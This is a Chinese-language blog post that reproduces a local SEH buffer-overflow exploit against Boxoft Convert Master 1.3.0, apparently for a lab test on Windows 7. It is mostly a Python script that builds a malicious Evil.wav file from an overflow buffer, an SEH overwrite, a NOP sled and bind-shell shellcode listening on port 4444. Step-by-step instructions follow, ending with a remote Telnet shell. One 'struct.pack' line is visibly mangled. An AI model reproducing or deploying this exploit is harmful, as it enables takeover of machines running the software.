二进制安全：转化大师漏洞复现：Boxoft Convert Master 1.3.0 - ‘wav‘ SEH Local Exploit

此次渗透测试针对软件
转换大师Boxoft Convert Master
‘wav’ SEH 本地攻击
实验平台：windows7
poc由Achilles提供
exp：

import struct

buffer = "\x41" * 4132
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack(',0x6d00c683) #CDRip122.dll
nops =  "\x90" * 20
#Bind=shellcode port 4444
shellcode = ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" 
"\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
"\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
"\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
"\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
"\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
"\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
"\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
"\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
"\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
"\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
"\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
"\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
"\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
"\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
"\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
"\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
"\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
"\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
"\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
"\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
"\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
"\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
"\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
"\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
"\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
"\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
"\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
"\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
"\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
"\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
"\xc8\x28\x1b\xd5\x3f\x51")
payload = buffer + nseh + seh + nops + shellcode

try:
	f=open("Evil.wav","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"

1.- Run python code :Boxoft_Convert_Master.py

2.- Open Boxoft_Convert_Master.exe

3.- Click try and Batch Convert Mode

4.- Add Evil.wav

5.- And you will have a bind shell port 4444

6.- Greetings go:XiDreamzzXi,Metatron

运行程序输出wav文件，此文件包含了shellcode，拖入转换大师中，程序崩溃，远程使用Telnet连接到windows7拿到shell。